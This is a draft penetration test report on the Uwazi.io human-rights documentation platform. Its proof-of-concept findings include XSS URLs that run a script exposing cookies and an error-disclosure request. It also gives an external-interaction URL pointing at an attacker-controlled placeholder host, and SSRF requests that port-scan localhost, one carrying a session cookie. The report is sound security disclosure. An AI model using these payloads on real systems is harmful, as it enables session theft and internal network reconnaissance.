Uwazi.io Penetration Test
Security Assessment

Project No. 262.2105
Report
DRAFT

for

HURIDOCS
Human Rights Information and Documentation Systems, International
Rue de Varembé 3
1202 Geneva
Switzerland

Document Versions and Changes

Version	Author	Date	Comment
0.1	Johan Rydberg Möller	2021-06-16	Initial draft
0.2	Sascha Schirra	2021-06-16	Technical review
0.3	Nico Lindner	2021-06-18	Editorial review
0.4	Johan Rydberg Möller	2021-06-21	Procedural additions
0.5	Nico Lindner	2021-06-21	Review additions

Table of Contents

Terms and Definitions

Term	Definition
API	Application Programming Interface
CSP	Content Security Policy
DNS	Domain Name System
HTTP	Hyper Text Transfer Protocol
IP	Internet Protocol
OWASP	Open Web Application Security Project
PDF	Portable Document Format
SMTP	Simple Mail Transfer Protocol
SSH	Secure Shell
SVG	Scalable Vector Graphics
URL	Uniform Resource Locator
XSS	Cross-Site Scripting

1 Executive Summary

Recurity Labs was contacted the human-rights supporting NGO HURIDOCS[1], requesting assistance with a security evaluation of their open-source tool Uwazi.io[2,3]. HURIDOCS is a Geneva-based NGO that helps human rights groups gather, organise and use information to create positive change in the world.

In order to facilitate the assessment, Recurity Labs was granted access to an environment with multiple tenants and users with different access levels as well as SSH access to the relevant server instances. Static analysis was performed of the Node.js source code, as well as both automated and manual testing of the Web application. In addition, log analysis has been performed through SSH access to the server. Attention has been paid to information leakage between tenants and user-levels as well as general application security testing according to OWASP Top Ten and SANS Top 25 security issues.

In general, the application was found to have a high-level of security.

Some minor issues have been observed, as documented in chapter 3 and some items may warrant further analysis. Included here as an informal note, the administration user logs available to high privileged users will occasionally become unusable, however, it is not clear whether this is due to an "overload of information" or a potentially more serious vulnerability. Further analyses is warranted.

1.1 Table of Findings

The following table summarizes the findings Recurity Labs made during the assessment. The individual results were evaluated according to CVSSv3.1[4] on request by HURIDOCS. The CVSSv3.1 vector used for the calculation can be found in section *Overview* of the respective finding(s), detailed in the sub-chapters of section 3 of this document.

Id	Description	Chapter	CVSS
262.2105.1	Reflected Cross-Site Scripting	3.1	6.5
262.2105.2	Reflected Cross-Site Scripting	3.2	5.4
262.2105.3	Information Leakage	3.3	5.3
262.2105.4	General External Service Interaction	3.4	4.3
262.2105.5	Limited Server-Side Request Forgery	3.5	6.5

1 https://huridocs.org/
2 https://huridocs.org/technology/uwazi/
3 https://github.com/huridocs/uwazi
4 https://www.first.org/cvss/v3-1/

2 Project Background

Recurity Labs was contacted by the human-rights supporting NGO HURIDOCS[5], requesting assistance with a security evaluation of their open-source tool Uwazi.io[6,7].

2.1 Team and Time

The assessment was conducted by Johan Rydberg Möller of Recurity Labs between June 07th to June 15th in 2021 with an invested effort of 7 person-days.

2.2 Analyzed System

The application reviewed resided at `https://cejil-pen.uwazi.io` with an additional tenant at `https://upr-pen.uwazi.io`, both hosted on a server located at `213.108.108.52`.

2.3 Procedures

The APIs in-scope have been assessed for common API-related issues and weaknesses. The assessment covered areas including, but not limited to, the *OWASP API Security Top 10*[8] risks:

- Broken object level authorization
- Broken authentication
- Excessive data exposure
- Lack of resources and rate limiting
- Broken function level authorization
- Mass assignment
- Security misconfiguration
- Injection
- Improper assets management
- Insufficient logging and monitoring

With regards to the Web application, manual and automated testing has been performed, and framework-specific vulnerabilities (node.js) have been taken into account.

Review steps included:

- The open API documentation at `https://uwazi.readthedocs.io/` has been reviewed, as well as the Swagger UI located on the application itself at `https://cejil-pen.uwazi.io/api/`.
- Log file review has been performed, including those of nginx, elasticsearch, mongodb and general daemon and syslogs, in order to understand how the user interacts with the application(s) and on which levels errors (may) occur. Most errors can be found in the daemon log file under `/var/logs`. It was found that logging is correctly performed and should provide an incident response team with plenty of useful information in case of a breach.
- Testing for information leakage between users of different access levels and between different tenants has been performed, including manipulating host headers in order to attempt to access resources shared between tenants hosted on the same server, however, no such issues have been found in the time frame of the present assessment.

5 https://huridocs.org/
6 https://huridocs.org/technology/uwazi/
7 https://github.com/huridocs/uwazi
8 https://apisecurity.io/encyclopedia/content/owasp/owasp-api-security-top-10.htm

- Thorough review has been performed with regards to file handling and uploading, especially focusing on breaking-out of the intended file directories on the server. Malicious file uploads have also been attempted, including specifically crafted malicious PDF, ESP and SVG files, but no vulnerabilities have been identified.
- The current branch of the repository used for testing has been statically analyzed using the open source tool nodejsscan[9], and any issues raised by the tool was followed-up but deemed to be false positives. However, as a general recommendation, Recurity Labs strongly recommends implementing tools, such as nodejsscan or snyk.io in the build process in order to catch any outdated npm packages or find potential vulnerabilities in the node.js code before being pushed to production.

9 https://github.com/ajinabraham/nodejsscan

3 Findings in Detail

This section provides technical details on the findings made during this security assessment. Each finding is described and rated according to the following criteria: vulnerability type, CVSSv3.1 base score and CVSSv3.1 vector.

3.1 Reflected Cross-Site Scripting

Overview

Id	262.2105.1
Type	Code
CVSS Score	6.5
CVSS Metrics	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Location	Uwazi API

Details

During testing, it was discovered that values passed through an arbitrary URL parameter applied to a custom page on an `uwazi.io` application, such as the "Judge and/or/ Commissioners" page located `cejil-pen.uwazi.io/en/page/59hhexlzlpthf8gi8gerd4pldi`, will be rendered in the DOM without any output encoding, resulting in a reflected Cross-Site Scripting.

Reflected Cross-Site Scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session within the application.

This issue can be demonstrated by visiting the following URL:

```
https://cejil-pen.uwazi.io/en/page/59hhexlzlpthf8gi8gerd4pldi?zzz%3Cscript
%3Ealert(document.cookie)%3C%2fscript%3E=z
```

Reproduction Steps

In a browser, visit the URL mentioned above and observe the alert box containing the cookies accessible to JavaScript on this domain.

Recommendation

It is recommended to never directly echo user-controllable data into application responses.

A multi-tiered approach is recommended when dealing with Cross-Site Scripting vulnerabilities. A Content Security Policy (CSP) can be set to disallow inline JavaScript for example, but if this is not possible, it is recommended to perform proper output encoding on any user-controllable data before including it in the application's response.

3.2 Reflected Cross-Site Scripting

Overview

Id	262.2105.2
Type	Code
CVSS Score	5.4
CVSS Metrics	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Location	Uwazi API

Details

During testing, it was discovered that values passed through an arbitrary URL parameter applied to the administration settings on an `uwazi.io` application under the `/settings/pages` URL will be rendered in the DOM without any output encoding, resulting in a reflected Cross-Site Scripting.

Reflected Cross-Site Scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request that, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session within the application.

This issue can be demonstrated by visiting the following URL:

```
https://cejil-pen.uwazi.io/en/settings/pages?zzz%3Cscript%3Ealert(document.cookie)%3C
%2fscript%3Ez=1
```

Reproduction Steps

In a browser, visit the URL mentioned above and observe the alert box containing the cookies accessible to JavaScript on this domain.

Recommendation

It is recommended to never directly echo user-controllable data into application responses.

A multi-tiered approach is recommended when dealing with Cross-Site Scripting vulnerabilities. A Content Security Policy (CSP) can be set to disallow inline JavaScript for example, but if this is not possible, it is recommended to perform proper output encoding on any user-controllable data before including it in the application's response.

3.3 Information Leakage

Overview

Id	262.2105.3
Type	Configuration
CVSS Score	5.3
CVSS Metrics	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Location	Uwazi.io API

Details

During testing, it was discovered that the application will echo detailed information from the Node.JS server when an error is provoked. This type of information can be invaluable to an attacker as it can aid them in mapping the node.JS packages in use and how to further their attacks.

For example, see the following request, where a user attempts to reach an asset, which does not exist:

Request:

```
GET /assets/..s HTTP/1.1
Host: cejil-pen.uwazi.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101
Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
```

Response:

```
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Wed, 16 Jun 2021 13:40:05 GMT
Content-Type: application/json; charset=utf-8
Connection: close
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
ETag: W/"4f9-a4d3+E837WvpFhmBeoqiPqrEc5o"
Vary: Accept-Encoding
Content-Length: 1273

{"error":"NotFoundError: Not Found\n    at SendStream.error (/opt/uwazi/cores/core-
1.31.0-rc2/node_modules/send/index.js:270:31)\n    at SendStream.pipe (/opt/uwazi/cores/
core-1.31.0-rc2/node_modules/send/index.js:584:14)\n    at sendfile
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/express/lib/response.js:1103:8)\n    at
ServerResponse.sendFile
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/express/lib/response.js:433:3)\n    at
/opt/uwazi/cores/core-1.31.0-rc2/app/api/utils/staticFilesMiddleware.js:15:7\n    at
runMicrotasks (<anonymous>)\n    at processTicksAndRejections
(internal/process/task_queues.js:93:5)","prettyMessage":"\nurl: /assets/..s\
nNotFoundError: Not Found\n    at SendStream.error
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/send/index.js:270:31)\n    at
```

```
SendStream.pipe (/opt/uwazi/cores/core-1.31.0-rc2/node_modules/send/index.js:584:14)\n
at sendfile
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/express/lib/response.js:1103:8)\n    at
ServerResponse.sendFile
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/express/lib/response.js:433:3)\n    at
/opt/uwazi/cores/core-1.31.0-rc2/app/api/utils/staticFilesMiddleware.js:15:7\n    at
runMicrotasks (<anonymous>)\n    at processTicksAndRejections
(internal/process/task_queues.js:93:5)"}
```

Reproduction Steps

Visit the URL `/assets/..s` or provoke any other error throughout the application.

Recommendation

It is recommended never to reveal detailed information about application errors. Instead, the application should be configured to display a generic error message, which does not provide an attacker any additional information about the inner workings of the application or server.

3.4 General External Service Interaction

Overview

Id	262.2105.4
Type	Observation
CVSS Score	4.3
CVSS Metrics	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Location	Uwazi.io API

Details

External service interaction arises when it is possible to induce an application to interact with an arbitrary external service, such as a Web server. The ability to trigger arbitrary external service interactions does not constitute a vulnerability in its own right, and in some cases might even be the intended behavior of the application. However, in many cases, it can indicate a vulnerability with serious consequences.

During testing it was discovered that multiple endpoints can be induced to perform external interactions with attacker-controlled systems. These include the `time` and `before` parameters of the `/api/activitylog` endpoint, the `_id`, `language`, `sharedId` and `title` parameters of the `/api/documents` endpoint, the `filters` and `types` parameter of the `/api/export` endpoint, the `originalname` and `url` parameter of the `/api/files` endpoint and the `_id` parameter of the `/api/settings` endpoint.

Reproduction Steps

To reproduce this issue, exemplary, please visit the following URL and view the access logs of the server under control:

```
https://cejil-pen.uwazi.io/api/activitylog?before=http%3a%2f%2fserver-you-control.com/
```

When reviewing the logs, notice the HTTP request originating from the IP `213.108.110.68` with the User-Agent `Go-http-client/1.1`.

Recommendation

The purpose and intended use of the relevant application functionality should be reviewed and it should be determined whether the ability to trigger arbitrary external service interactions is the intended behavior. For most of these parameters, this seems highly unlikely.

In order to remediate this issue, corrective measures might include blocking network access from the application server to external systems, and reviewing the Node.JS settings, which are likely the culprit in this particular case.

3.5 Limited Server-Side Request Forgery

Overview

Id	262.2105.5
Type	Code
CVSS Score	6.5
CVSS Metrics	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Location	Uwazi.io API

Details

During testing, it was discovered that the `/api/files` endpoint consumes a parameter called `url`, which allows for limited *Server-Side Request Forgery* (SSRF). By supplying an internal IP as the value of the `url` parameter, it is possible to deduce, which ports are open on the local host. By submitting suitable payloads, an attacker can cause the application server to attack other systems it can interact with. This may include public third-party systems, internal systems within the same organization, or services available on the local loopback adapter of the application server itself. Depending on the network architecture, this may expose highly vulnerable internal services, which are otherwise not accessible to external attackers.

During testing, only internal port scanning was achieved, and can be demonstrated by reviewing the following requests and responses, indicating open and closed ports.

In the following request, `localhost` and port 80 are specified:

```
POST /api/files HTTP/1.1
Host: cejil-pen.uwazi.io
Cookie: _pk_id.4.bebf=f2c502a8e5316116.1623061633.; locale=en;
_ga=GA1.2.63512233.1623061638; connect.sid=s%3AhbbKrbthkWm01uV_9UcmdidPn3ND-
TDE.PqSiBO3ZDExIHCuE9ESq12T46OwmNvPo9NLGPEXQXS0; _gid=GA1.2.1582022935.1623664437;
_pk_ses.4.bebf=1; _gat_gtag_UA_104613748_1=1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101
Firefox/89.0
Accept: application/json
Accept-Language: en-GB,en;q=0.5
Referer: https://cejil-pen.uwazi.io/en/entity/d16l03la48?
file=1620671561767kud2pdtu04.pdf&page=1
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Language: en
Origin: https://cejil-pen.uwazi.io
Te: trailers
Content-Length: 93

{"originalname":"test","url":"http://127.0.0.1:80","entity":"d16l03la48","type":"attachm
ent"}
```

The following response is received:

```
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 16 Jun 2021 14:16:16 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 186
Connection: keep-alive
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
```

```
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
ETag: W/"ba-sacGwzQKVFKbenfsXR53EttwIoA"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=15768000

{"_id":"60ca07b0ecb3e374de5c390b","originalname":"test","url":"http://
127.0.0.1:80","entity":"d16l03la48","type":"attachment","mimetype":"text/
html","creationDate":1623852976178,"__v":0}
```

If, however, another port is specified, which is not reachable from the outside, such as the SMTP port 25, the following response is received:

```
HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Wed, 16 Jun 2021 14:19:37 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1423
Connection: keep-alive
X-DNS-Prefetch-Control: off
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
ETag: W/"58f-+hfIR9ubkubOSn/eL1yV7808FQA"
Vary: Accept-Encoding

{"error":"FetchError: request to http://127.0.0.1:25 failed, reason: Parse Error:
Expected HTTP/\n    at ClientRequest.<anonymous>
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/node-fetch/index.js:133:11)\n    at
ClientRequest.emit (events.js:314:20)\n    at Socket.socketOnData
(_http_client.js:516:9)\n    at Socket.emit (events.js:314:20)\n    at addChunk
(_stream_readable.js:303:12)\n    at readableAddChunk (_stream_readable.js:279:9)\n
at Socket.Readable.push (_stream_readable.js:218:10)\n    at TCP.onStreamRead (internal/
stream_base_commons.js:188:23)\n    at TCP.callbackTrampoline
(internal/async_hooks.js:129:14)","prettyMessage":"\nurl: /api/files\nbody: {\
n \"originalname\": \"test\",\n \"url\": \"http://127.0.0.1:25\",\
n \"entity\": \"d16l03la48\",\n \"type\": \"attachment\"\n}\nFetchError: request to
http://127.0.0.1:25 failed, reason: Parse Error: Expected HTTP/\n    at
ClientRequest.<anonymous>
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/node-fetch/index.js:133:11)\n    at
ClientRequest.emit (events.js:314:20)\n    at Socket.socketOnData
(_http_client.js:516:9)\n    at Socket.emit (events.js:314:20)\n    at addChunk
(_stream_readable.js:303:12)\n    at readableAddChunk (_stream_readable.js:279:9)\n
at Socket.Readable.push (_stream_readable.js:218:10)\n    at TCP.onStreamRead (internal/
stream_base_commons.js:188:23)\n    at TCP.callbackTrampoline
(internal/async_hooks.js:129:14)"}]
```

This indicates that the port is open, but that there is a parse error in the Node module parsing the request. If, however, a request is sent to a port which is not open, such as 123 for example, the following response is received:

```
{"error":"FetchError: request to http://127.0.0.1:123 failed, reason: connect
ECONNREFUSED 127.0.0.1:123\n    at ClientRequest.<anonymous> (/opt/uwazi/cores/core-
1.31.0-rc2/node_modules/node-fetch/index.js:133:11)\n    at ClientRequest.emit
(events.js:314:20)\n    at Socket.socketErrorListener (_http_client.js:469:9)\n    at
Socket.emit (events.js:314:20)\n    at emitErrorNT (internal/streams/destroy.js:100:8)\n
at emitErrorCloseNT (internal/streams/destroy.js:68:3)\n    at processTicksAndRejections
(internal/process/task_queues.js:80:21)","prettyMessage":"\nurl: /api/files\nbody: {\
n \"originalname\": \"test\",\n \"url\": \"http://127.0.0.1:123\",\
n \"entity\": \"d16l03la48\",\n \"type\": \"attachment\"\n}\nFetchError: request to
```

```
http://127.0.0.1:123 failed, reason: connect ECONNREFUSED 127.0.0.1:123\n    at
ClientRequest.<anonymous>
(/opt/uwazi/cores/core-1.31.0-rc2/node_modules/node-fetch/index.js:133:11)\n    at
ClientRequest.emit (events.js:314:20)\n    at Socket.socketErrorListener
(_http_client.js:469:9)\n    at Socket.emit (events.js:314:20)\n    at emitErrorNT
(internal/streams/destroy.js:100:8)\n    at emitErrorCloseNT
(internal/streams/destroy.js:68:3)\n    at processTicksAndRejections
(internal/process/task_queues.js:80:21)"}
```

This indicates that the port is closed and not responding to the internal request. By iterating through all available ports, it is possible for an attacker to scan the `localhost`, which could be a very important stepping stone to further attacks on the internal network.

Reproduction Steps

Using an interception proxy such as Burp Proxy, perform the requests outlined above and observe the differing results.

Recommendation

It is not recommended for services to be able to interact with internal systems in a way that is enumerable by an attacker. As a countermeasure, Recurity Labs recommends blocking network access from the application server endpoint to other internal systems, and hardening the application server itself to remove any services available on the local loopback adapter, which do not have to be accessible.